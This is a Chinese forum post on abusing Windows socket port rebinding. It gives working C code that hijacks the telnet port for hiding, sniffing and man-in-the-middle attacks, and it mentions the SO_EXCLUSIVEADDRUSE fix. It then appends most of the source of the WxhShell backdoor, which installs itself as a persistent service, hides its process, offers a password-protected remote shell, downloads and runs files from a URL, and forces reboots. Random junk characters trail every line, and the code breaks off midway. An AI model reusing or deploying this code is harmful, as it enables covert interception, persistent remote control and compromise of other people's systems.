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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;p/%)WW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oc Gg'R7  
mMNT.a  
  saddr.sin_family = AF_INET; % `4\ 8H`  
;?{N=x8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *%3%Zj,{  
IL]Js W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #j+0jFu  
qZV.~F+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0^0Q0A  
U#qs^f7R  
  这意味着什么?意味着可以进行如下的攻击: TrYt(F{t  
0r=KY@D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'lsG?  
!OCb^y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \CY_nn|&g  
ujLz<5gKuO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7f$ hg8  
8wi2&j_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G~VukW<e  
\l_U+d,qq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;kX:k~,]}>  
%Kk MWl&:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LX!MDZz  
"f Ni3 <x]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S [$Os7  
3pk=c-x  
  #include `W*b?e| H1  
  #include N wISf  
  #include u ? }T)B  
  #include    hhM?I$t:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /c&;WlE/n  
  int main() r(VGdG  
  { Ft[)m#Dj`  
  WORD wVersionRequested; l0v]+>1i:  
  DWORD ret; Ag82tDL[u  
  WSADATA wsaData; fF|m~#y  
  BOOL val; f4 [Bj{F  
  SOCKADDR_IN saddr; !W4X4@  
  SOCKADDR_IN scaddr; dsUt[z1w5  
  int err; k"L?("~   
  SOCKET s; ZLS\K/F>>=  
  SOCKET sc; =o+js;3  
  int caddsize; -~|E(ys  
  HANDLE mt; )LdS1%  
  DWORD tid;   o6v'`p '  
  wVersionRequested = MAKEWORD( 2, 2 ); #cAX9LV  
  err = WSAStartup( wVersionRequested, &wsaData ); ev LZ<|  
  if ( err != 0 ) { 0dKv%X#\  
  printf("error!WSAStartup failed!\n"); 7`G FtX}  
  return -1; UNC%<=  
  } b~u53   
  saddr.sin_family = AF_INET; Qp5YS  
    j1sgvh]D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [b?[LK}.  
}jI=*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rIhe}1  
  saddr.sin_port = htons(23); H6vO}pq) r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6+iZJgwAy  
  { gz~)v\5D/  
  printf("error!socket failed!\n"); %8]~+ #]p  
  return -1;  &$ x1^  
  } !D!1%@ e  
  val = TRUE; ,WKWin  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  9EU0R H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ? kBX:(g  
  { :W6R]y  
  printf("error!setsockopt failed!\n"); KB\A<(o,  
  return -1; +FGw)>g8'm  
  } 5/f"dX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gNj~o^6|@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <`P7^ 'z!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1oSU>I_i  
VS\+"TPuH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l.Yq4qW  
  { C"[d bh!  
  ret=GetLastError(); ]T<\d-!CZN  
  printf("error!bind failed!\n"); t91z<Y|  
  return -1; 5_yu4{@;y  
  } Z< 4Du  
  listen(s,2); +W}dO#  
  while(1) dSkx*#FEE  
  { 9N*!C{VW  
  caddsize = sizeof(scaddr); -h`[w:  
  //接受连接请求 iYR`|PJi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6z3`*B  
  if(sc!=INVALID_SOCKET) }[O/u <Z  
  { c) q'" r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '#ow 9w+^  
  if(mt==NULL) -n#fj;.2_  
  { 1<n'F H3  
  printf("Thread Creat Failed!\n"); j3$\+<m]  
  break; Ae3=o8p  
  } tsys</E&  
  } "NOll:5"(  
  CloseHandle(mt); %'3Y?d  
  } .Z#8,<+  
  closesocket(s); F./$nwb  
  WSACleanup(); ~z$+uK  
  return 0; }Lc8tj<  
  }   ZBxV&.9/  
  DWORD WINAPI ClientThread(LPVOID lpParam) xC^|S0B  
  { U_oei3QP  
  SOCKET ss = (SOCKET)lpParam; \*i[m&3;q  
  SOCKET sc; ZhnRsn9  
  unsigned char buf[4096]; #}8 x  
  SOCKADDR_IN saddr; [`/d$V!e  
  long num; KpF/g[m  
  DWORD val; yE=tuHv(0  
  DWORD ret; j@778fvM\t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0J5IO|1M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j#D( </T  
  saddr.sin_family = AF_INET; .'Rz tBv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v_L?n7c  
  saddr.sin_port = htons(23); 'ngx\Lr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qV&ai{G:  
  { _fmOTz G  
  printf("error!socket failed!\n"); y|h:{<  
  return -1; vIpitbFC  
  } \ x>#bql+  
  val = 100; {+  @M!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /`H{ n$  
  { 34s>hm=0.  
  ret = GetLastError(); d.:.f_|  
  return -1; hY}.2  
  } a&)4Dv0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _a&Mk  
  { Y. 1dk  
  ret = GetLastError(); bG&vCH;}%  
  return -1; c8}jO=/5+  
  } nX\Q{R2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) biy[h3b  
  { 0?/vcsO  
  printf("error!socket connect failed!\n"); dePI&z:  
  closesocket(sc); 2& ZoG%)  
  closesocket(ss); ?I}0[+)V  
  return -1; NWt5)xl  
  } AiOz1Er  
  while(1) 68YJ@(iS  
  { ZB5u\NpcW  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v3Xt<I=4y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C#@>osC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5nh:S0M6V  
  num = recv(ss,buf,4096,0); -gR }^D   
  if(num>0) e,I{+ ^P  
  send(sc,buf,num,0); z3|)WS^  
  else if(num==0) j`LvS  
  break; {q^?Rw  
  num = recv(sc,buf,4096,0); \rPT7\ZA  
  if(num>0) _^Yav.A=  
  send(ss,buf,num,0); a/s6|ri`0  
  else if(num==0) ; +%|!~  
  break; 5l,Q=V^@l  
  } yE>f.|(  
  closesocket(ss); 4M3{P  
  closesocket(sc); X0+M|8:   
  return 0 ; e,rCutA)  
  } QCVwslj,K  
ppXt8G3% x  
w?Nx ^)xX  
========================================================== q@8j[15  
Yt#e[CYnu  
下边附上一个代码,,WXhSHELL 81&5g'  
r5(-c]E7  
========================================================== +t`QHvxv  
W y%'<f  
#include "stdafx.h" 1 6G/'Hb  
9<Kc9Z  
#include <stdio.h> lL]8~3b  
#include <string.h> &bw ``e&c  
#include <windows.h> 9G)q U  
#include <winsock2.h> `|d&ta[{  
#include <winsvc.h> o^b4l'&o  
#include <urlmon.h> .X(*mmH  
Ii4lwZnz  
#pragma comment (lib, "Ws2_32.lib") mIUpAOC`"Z  
#pragma comment (lib, "urlmon.lib") &] euL:C  
Lf} @v  
#define MAX_USER   100 // 最大客户端连接数 -4!i(^w[m/  
#define BUF_SOCK   200 // sock buffer q[T='!Z\  
#define KEY_BUFF   255 // 输入 buffer `Q~`Eq?@  
y*fU_Il|!  
#define REBOOT     0   // 重启 `Z!NOC  
#define SHUTDOWN   1   // 关机 J^]Y`Q`  
FdVWj 5 $a  
#define DEF_PORT   5000 // 监听端口 +5C*i@v  
)Og,VXEB  
#define REG_LEN     16   // 注册表键长度 KtY_m`DY4R  
#define SVC_LEN     80   // NT服务名长度 ecl$z6'c  
IsjD-t  
// 从dll定义API \/ 8 V|E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gkq<?q({t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d}e/f)(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J;S@Q/s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); is,r:  
]/C1pG*o  
// wxhshell配置信息 yg-uL48q  
struct WSCFG { `fUem,$)1F  
  int ws_port;         // 监听端口 <D!\"C  
  char ws_passstr[REG_LEN]; // 口令 $xU5vCwAo  
  int ws_autoins;       // 安装标记, 1=yes 0=no B\z4o\am%  
  char ws_regname[REG_LEN]; // 注册表键名 <^,5z!z }  
  char ws_svcname[REG_LEN]; // 服务名 I];Hx'/<~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  V6{P41_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T-L; iH~0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "0yO~;a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kb>/R/,9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DTw3$:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3%$nRP X  
0W1=9+c|X  
}; 5lMm8<v  
2rK<UPIq  
// default Wxhshell configuration SKf[&eP,G  
struct WSCFG wscfg={DEF_PORT, _Xn[G>1  
    "xuhuanlingzhe", 9G'Q3? z  
    1, D{!NTr  
    "Wxhshell", "77 j(Vs9  
    "Wxhshell", `1$7. ydQ  
            "WxhShell Service", Vgh_F8G!V  
    "Wrsky Windows CmdShell Service", RW@sh9  
    "Please Input Your Password: ", k 8Swra?j  
  1, k!lz_Y  
  "http://www.wrsky.com/wxhshell.exe", l'2a?1/q  
  "Wxhshell.exe" I}aiy.l  
    }; ~+GMn[h  
LOkNDmj  
// 消息定义模块 6k=ink-/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T"2D<7frbo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;&Oma`Ec  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9rn[46s`  
char *msg_ws_ext="\n\rExit."; >|[74#}7  
char *msg_ws_end="\n\rQuit."; MOIH%lpe  
char *msg_ws_boot="\n\rReboot..."; `<C/-Au  
char *msg_ws_poff="\n\rShutdown..."; u K`T1*_  
char *msg_ws_down="\n\rSave to "; p6yC1\U!o  
hl[!4#b]K  
char *msg_ws_err="\n\rErr!"; ci@U a}T  
char *msg_ws_ok="\n\rOK!"; m-Uq6_e  
LI&+5`  
char ExeFile[MAX_PATH]; o!3-=<^  
int nUser = 0; 5$e|@/(0  
HANDLE handles[MAX_USER]; s C9j73 vf  
int OsIsNt; .cQ<F4)!tu  
[kyF|3k~  
SERVICE_STATUS       serviceStatus; CjtXU=}A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /8GgEW9Q~G  
ueiXY|  
// 函数声明 Q`Q%;%t  
int Install(void); tBp146`  
int Uninstall(void); GB(o)I#h  
int DownloadFile(char *sURL, SOCKET wsh); Ua^'KRSO  
int Boot(int flag); lglC1W-q  
void HideProc(void); <.0-K_  
int GetOsVer(void); %s;#epP$  
int Wxhshell(SOCKET wsl); XM$HHk}L;  
void TalkWithClient(void *cs); pN)9 GO5  
int CmdShell(SOCKET sock); i '5Q.uX  
int StartFromService(void); _U.D*f<3)  
int StartWxhshell(LPSTR lpCmdLine); 3+<}Hm+  
!po8[fz~x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Mg&e/^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); () Z!u%j  
1}C|Javkn  
// 数据结构和表定义 /3! KfG  
SERVICE_TABLE_ENTRY DispatchTable[] = `4RraJj>0~  
{ @N,EoSb :  
{wscfg.ws_svcname, NTServiceMain}, IRemF@  
{NULL, NULL} <|NP!eMsw8  
}; 4ey m$UWw  
?q(7avS9  
// 自我安装 BpL,<r,  
int Install(void) ,c@^u6a  
{ *v[WJ"8@  
  char svExeFile[MAX_PATH]; y#:_K(A" k  
  HKEY key; krPwFp2[*  
  strcpy(svExeFile,ExeFile); P"J(O<(1-:  
4|uh&4"*@W  
// 如果是win9x系统,修改注册表设为自启动 6uCa iPV  
if(!OsIsNt) { GNzk Vy:u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fg)Iw<7_2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M1^?_;B  
  RegCloseKey(key); 92F (Sl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OAMsqeWYA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,~-"EQT  
  RegCloseKey(key); #YM5P  
  return 0; njveZav  
    } r^mP'#  
  } 8,pnm  
} XO+^q9  
else { l+'@y (}Q  
wuCiO;w  
// 如果是NT以上系统,安装为系统服务 ^[no Gjy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 84UH& b'n  
if (schSCManager!=0) H3Y FbR  
{ .eAN`-t;  
  SC_HANDLE schService = CreateService |1zoT|}q  
  ( `Ym7XF&  
  schSCManager, epsh&)5a*  
  wscfg.ws_svcname, \WG6\Zg0A  
  wscfg.ws_svcdisp, |*5Kfxq  
  SERVICE_ALL_ACCESS, C9[Jr)QX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hPa:>e  
  SERVICE_AUTO_START, 7q<2k_3<  
  SERVICE_ERROR_NORMAL, &13qlc6  
  svExeFile, k{<]J5{7  
  NULL, f"zXiUV  
  NULL, UI}v{05]  
  NULL, )<bgZ, v  
  NULL, 5o 4\Jwt  
  NULL sK8=PZ \  
  ); n=#AH;42  
  if (schService!=0) 7F OG^  
  { oa(R,{_*q  
  CloseServiceHandle(schService); nqNL[w6{  
  CloseServiceHandle(schSCManager); ^s/HbCA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }{Ab:+aNd  
  strcat(svExeFile,wscfg.ws_svcname); #Hl0>"k ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T u>5H`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DT`TA#O  
  RegCloseKey(key); 5qzFH,  
  return 0; f 4CS  
    } 1'or[Os3=  
  } {.=089`{  
  CloseServiceHandle(schSCManager); 68 % = V>V  
} 8"L#5MO t  
} 4}@J]_]Z  
DD`Bl1)  
return 1; &~ of]A  
} 6? I,sZW  
Gf'qPLK0  
// 自我卸载 4RCD<7  
int Uninstall(void) eg Ml(~D  
{ RKoM49W  
  HKEY key; `)Z"||8K  
 J jRz<T;  
if(!OsIsNt) { U~8;y'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Wwzcvs@  
  RegDeleteValue(key,wscfg.ws_regname); @v^;,cu'8  
  RegCloseKey(key); fgrflW$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wVU.j$+_#  
  RegDeleteValue(key,wscfg.ws_regname); xj8 yQ Y1  
  RegCloseKey(key); u~WBu|  
  return 0; npC:SrI%  
  } l"70|~  
} w U".^ +  
} ]X y2km]  
else { q1!45a  
{cmY`to  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W^{zlg  
if (schSCManager!=0) !nh7<VJ  
{ )Il) H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {j$:9  H  
  if (schService!=0) 2P3,\L  
  { [B<htD&  
  if(DeleteService(schService)!=0) { 0c6b_%Rd  
  CloseServiceHandle(schService); RCM;k;@8V  
  CloseServiceHandle(schSCManager); 1vKAJ<4W  
  return 0; 1iNq|~  
  } Vwxb6,}Z  
  CloseServiceHandle(schService); P2la/jN  
  } bMe/jQuL.$  
  CloseServiceHandle(schSCManager); &QHZ]2%U  
} gR7in!8  
} Cngi5._Lb  
PkM]jbLe8  
return 1; ^pgVU&-~]/  
} n~ w.\939@  
|^l17veA@  
// 从指定url下载文件 =PU! hZj"L  
int DownloadFile(char *sURL, SOCKET wsh) `sW+R=  
{ zt&"K0X|  
  HRESULT hr; /e|vz^#+1,  
char seps[]= "/"; vXA+o)*#/  
char *token; Qy0Zj$,Z  
char *file; lICpfcc(+  
char myURL[MAX_PATH]; `"@Pr,L   
char myFILE[MAX_PATH]; l9Xz,H   
MTI[Mez  
strcpy(myURL,sURL); 'M20v-[  
  token=strtok(myURL,seps); {`RCh]W  
  while(token!=NULL) py \KY R  
  { ]#$l"ss,  
    file=token; bhk:Szqz  
  token=strtok(NULL,seps); d\eTyN'rA  
  } t UOqF  
LtrE;+%2oz  
GetCurrentDirectory(MAX_PATH,myFILE); +95: O 8  
strcat(myFILE, "\\"); V46=48K.  
strcat(myFILE, file); [f._w~  
  send(wsh,myFILE,strlen(myFILE),0); 3[_zz;Y*d  
send(wsh,"...",3,0); HNXMM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %?2:1o  
  if(hr==S_OK) Q[rmsk 2L'  
return 0; PMOyZ3  
else YCBp ]xuE  
return 1; {3)^$F=T  
g>gVO@"b2  
} Y8i'=Po%,  
9Rf})$o+  
// 系统电源模块 ^9_4#Ep(  
int Boot(int flag) tJ 3Hg8;  
{ qoZUX3{  
  HANDLE hToken; 6h5DvSO  
  TOKEN_PRIVILEGES tkp; 5vP=Wf cW  
d ,"L8  
  if(OsIsNt) { G~. bi<(v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i>elK<R4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P3e}G-Oz  
    tkp.PrivilegeCount = 1; :"Gx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {7F?30: ]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6'Sq|@VOi  
if(flag==REBOOT) {  []L yu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QmiS/`AAv  
  return 0; RyuI2jEy  
} NzBX2  
else { 0&21'K)pW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z5tOsU  
  return 0; (Ts#^qC  
} tKP zM  
  } tNbL)  
  else { P#j>hS  
if(flag==REBOOT) { o],z/MPL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c.?+rcnq  
  return 0; >Hd Pcsl L  
} $ca>b X]  
else { I d}@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6+.8nx:9X  
  return 0; Jf</83RZ  
} j&y>?Y&Sb  
} }L|cg2y  
7g%.:H =  
return 1; ^U;r>[T9h  
} f53WDI6  
35}]U=  
// win9x进程隐藏模块 ZHN}:W/p  
void HideProc(void) -~+Y0\%E  
{ ?S2!'L  
M/x*d4b_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QnMN8Q9  
  if ( hKernel != NULL )  b^dBX  
  { 9zKbzT]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =5 kTzH.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IpYw<2'  
    FreeLibrary(hKernel); z~0f[As.  
  } 5^0K5R6GQf  
#J w\pOn  
return; #Zq[.9!q{  
} XEpwk,8*g  
Cn"L*\o  
// 获取操作系统版本 k2Dq~zn  
int GetOsVer(void) @ C"w 1}  
{ ;p8,=w  
  OSVERSIONINFO winfo; Y'9<fSn5&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (i)Ed9~F"  
  GetVersionEx(&winfo); ;n2b$MB?nM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WoSJp5By$  
  return 1; iS#m{1m$$  
  else {0J (=\u  
  return 0; \!J9|  
} ] RLEyDB  
_[p@V_my  
// 客户端句柄模块 O{&wqV5m"  
int Wxhshell(SOCKET wsl) 7a#zr_r  
{ 'kE^oX_  
  SOCKET wsh; ~'u %66  
  struct sockaddr_in client; )K>2  
  DWORD myID; =5D@~?W ZG  
"v[?`<53^l  
  while(nUser<MAX_USER) -MTO=#5z  
{ r4wnfy  
  int nSize=sizeof(client); 1 GB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \EC7*a0  
  if(wsh==INVALID_SOCKET) return 1; (cpaMn@)g  
cuUlr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q"D%xY  
if(handles[nUser]==0) M].D27  
  closesocket(wsh); ?]Z EK8c  
else ?cmv;KV   
  nUser++; O ]Stf7]%;  
  } O~u@J'4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'boAv%1_sa  
eGW~4zU  
  return 0; RxrUnMF  
} c ;@k\6  
YA'_Ba(v)  
// 关闭 socket `mo>~c7  
void CloseIt(SOCKET wsh) mj^]e/s%  
{ n<3*7/-  
closesocket(wsh); h_?#.z0ih;  
nUser--; S /)J<?<b  
ExitThread(0); X!=*<GF)  
} +ug[TV   
lV )SOs$  
// 客户端请求句柄 DNp4U9  
void TalkWithClient(void *cs) TkjPa};R  
{ L |pJ\~  
o ImW  
  SOCKET wsh=(SOCKET)cs; fNZ:l=L3):  
  char pwd[SVC_LEN]; vp#r :+=  
  char cmd[KEY_BUFF]; +E-f  
char chr[1]; WC ZDS>  
int i,j; @ZFU< e$!  
NX5NE2@^qH  
  while (nUser < MAX_USER) { uom~, k$|  
/ar/4\b  
if(wscfg.ws_passstr) { C~([aH@-I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *d/,Y-tl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "RG #e +  
  //ZeroMemory(pwd,KEY_BUFF); u9~RD  
      i=0; j6.'7f5M<H  
  while(i<SVC_LEN) { PdNxuy  
$v*0 \O  
  // 设置超时 YTo^Q&  
  fd_set FdRead; ; rJ  
  struct timeval TimeOut; 9X[}ik0  
  FD_ZERO(&FdRead); OcLFVD=  
  FD_SET(wsh,&FdRead); _Sxp|{H0  
  TimeOut.tv_sec=8; },'Ij; %%Q  
  TimeOut.tv_usec=0; sxBRg=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8OW504AD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h1uD>heGl  
c$w}h[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q7'[II;  
  pwd=chr[0]; va_TC!{;  
  if(chr[0]==0xd || chr[0]==0xa) { W2 ([vRT  
  pwd=0; ok+-#~VTn  
  break; avI   
  } &ivPY  
  i++; }bxx]rDl  
    } `+go| 5N2  
Q8sCI An{  
  // 如果是非法用户,关闭 socket 3ZKaqwK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9X2 lH~C  
} ^"?b!=n!  
}{(|^s=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Mis-K:]{?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bhnwb0b<  
NXyuv7%5=  
while(1) { te b~KM  
~jqh&u$(  
  ZeroMemory(cmd,KEY_BUFF); $EuWQq7OI2  
: %hxg  
      // 自动支持客户端 telnet标准   ~"ij,Op,3  
  j=0; 3M&IMf,/@  
  while(j<KEY_BUFF) { (KDv>@5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w'b|*_Q4Q  
  cmd[j]=chr[0]; xp>p#c  
  if(chr[0]==0xa || chr[0]==0xd) { 95G*i;E  
  cmd[j]=0; 9ywPWT[^  
  break; .+"SDt oX  
  } ?8LRd5LH  
  j++; /rqaUC)A  
    } -}?ud3f<  
fP9k(mQX  
  // 下载文件 fDa$TbhjI  
  if(strstr(cmd,"http://")) { .C2.j[>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \I4*|6kA  
  if(DownloadFile(cmd,wsh)) qt#a_F*rV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=6b oT  
  else K)`\u7Bu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L,F )l2  
  } %Jr6pmc  
  else { = +uUWJ&1G  
?+bDFM}  
    switch(cmd[0]) { [-bT_X  
  vKX $Nf  
  // 帮助 wPl!}HNf  
  case '?': { Qs*6wF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M!s@w%0?'  
    break; \q8D7/q  
  } =lf&mD _/  
  // 安装 Hkv4t5F  
  case 'i': { U*' YGv  
    if(Install()) L|3wG Y9E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  t : =  
    else "lp),  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fi[c^e+IX  
    break; O_p:`h:;M  
    } ly d[GfJ  
  // 卸载 ;5P>R[p  
  case 'r': { fQ&:1ec  
    if(Uninstall()) Rp2~d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FJN,er~T[  
    else !0g+}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9K8f ##3  
    break; Ge|& H]W  
    } 1{ -W?n  
  // 显示 wxhshell 所在路径 _cZ`7 ]Z  
  case 'p': { s'V8PN+-  
    char svExeFile[MAX_PATH]; :95wHmk  
    strcpy(svExeFile,"\n\r"); X`ifjZ9}d  
      strcat(svExeFile,ExeFile); t:X[Blw3$  
        send(wsh,svExeFile,strlen(svExeFile),0); GLe(?\Ug=  
    break; *mM+(]8US  
    } bT@7&  
  // 重启 s q_N!  
  case 'b': { 3mIX9&/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #lax0IYY=  
    if(Boot(REBOOT)) #zcp!WE.OI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <%JRZYZ  
    else { ]]s_ 8u 3  
    closesocket(wsh); sX3Vr&r  
    ExitThread(0); j~G^J  
    } vO1P%)  
    break; bp6 La`+  
    } $a6&OH/  
  // 关机 vpY|S2w)Bp  
  case 'd': { :\*hAV1i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -#b-@sD  
